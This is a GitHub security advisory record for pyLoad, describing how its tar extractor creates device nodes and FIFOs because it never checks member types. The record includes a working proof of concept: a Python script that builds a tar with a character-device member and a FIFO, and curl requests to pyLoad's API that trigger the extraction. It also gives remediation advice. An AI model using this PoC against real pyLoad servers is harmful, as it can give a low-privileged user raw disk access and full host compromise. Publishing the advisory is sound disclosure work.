{"schema_version":"1.9.2","id":"GHSA-fr26-jjhm-638c","published":"2026-10-09T17:08:58Z","modified":"2026-11-09T21:30:07.729780623Z","aliases":["CVE-2026-123815"],"summary":"pyLoad: Tar extraction creates device nodes and FIFOs (member types not filtered; tarfile extractall without filter=)","details":"### Summary\n\n`UnTar._safe_extractall` — the hardening added for GHSA-mvwx-582f-56r7 — validates member\n**names** and symlink/hardlink **targets**, but never checks member **types**, and calls\n`tarfile.extractall` without a `filter=`. On Python < 3.14 the default extraction filter is\n`fully_trusted`, so a crafted tar containing device or FIFO entries makes pyLoad create\nthem on disk. When pyLoad runs as root (the official Docker deployment), a block-device\nmember grants raw disk access — full host compromise — reachable by any low-privileged user\nwho can trigger archive extraction (ADD to supply an archive, STATUS to invoke\n`ExtractArchive.extract_package`).\n\n### Details\n\n```python\n# plugins/extractors/UnTar.py:69-79\nfor member in tar.getmembers():\n if not is_within_directory(...) or <symlink/hardlink target checks>: # names/links only\n raise ArchiveError(...)\ntar.extractall(path, members, numeric_owner=numeric_owner) # no filter=\n```\n\nNo `member.isdev()` / `ischr()` / `isblk()` / `isfifo()` check exists, and the pre-validation\nin `plugins/base/extractor.py:191-263` is likewise name-only. Python's tarfile only defaults\nto a safe filter in 3.14; supported runtimes (3.9–3.13) honor `mknod` for euid=0 and create\nFIFOs for any euid.\n\n### PoC\n\n```bash\nBASE=http://127.0.0.1:8100\n# craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member\npython3 - <<'EOF'\nimport tarfile, io\nt = tarfile.open('dev.bin','w') # name it *.bin so UnTar (content-sniffed) claims it\nt.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER'))\ni = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666\nt.addfile(i)\nf = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE\nt.addfile(f); t.close()\nEOF\n\n# as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder,\n# then trigger extraction\ncurl -s -X POST \"$BASE/api/add_package\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n -H 'Content-Type: application/json' -d '{\"name\":\"poc\",\"links\":[\"http://x/dev.bin\"],\"dest\":1}'\ncurl -s -X POST \"$BASE/api/service_call\" -b ed.jar -H \"X-CSRFToken: $T\" \\\n -H 'Content-Type: application/json' \\\n -d '{\"service_name\":\"ExtractArchive.extract_package\",\"arguments\":[\"<pid>\"]}'\n\nls -l <extract dir>\n# → crw-rw-rw- 1 root root 1, 3 nulldev (character device created)\n# → prw-r--r-- 1 root root pipe (FIFO created)\n# → -rw-r--r-- 1 root root marker.txt\n```\n\nNegative control: the same flow with a `../evil` traversal member is rejected\n(`ArchiveError: Attempted path traversal in archive`) and nothing is extracted — the\nGHSA-mvwx name filter works; the gap is member-**type**-specific. (Note: when the 7z binary\nis present, `.tar`-named files are claimed by SevenZip first by extension; the UnTar path is\nreached via non-mapped names — as above — content-sniffed containers, or when 7z is\nabsent/fails.)\n\n### Impact\n\nWith pyLoad as root, a crafted archive can create block/character device nodes at arbitrary\npaths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion),\nor set special bits; non-root deployments still get FIFOs and node entries in\nuser-accessible trees.\n\n### Remediation\n\nIn `_safe_extractall`, reject (or skip) every member that is not a regular file, directory,\nor safe link — e.g. `member.isdev() or isfifo()` → `ArchiveError` — and pass\n`filter=\"data\"` (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply\nthe same member-type validation in the pre-extraction validator so all extractors share it.\n\n### References\n\n- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated,\n member types not).","affected":[{"package":{"name":"pyload-ng","ecosystem":"PyPI","purl":"pkg:pypi/pyload-ng"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.0b3.dev101"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev100","0.5.0b3.dev101","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-fr26-jjhm-638c/GHSA-fr26-jjhm-638c.json"}}],"references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-fr26-jjhm-638c"},{"type":"WEB","url":"https://github.com/pyload/pyload/commit/09eec1b431b6942a1917f094f2c77bfbf5637f60"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-10-09T17:08:58Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]} |
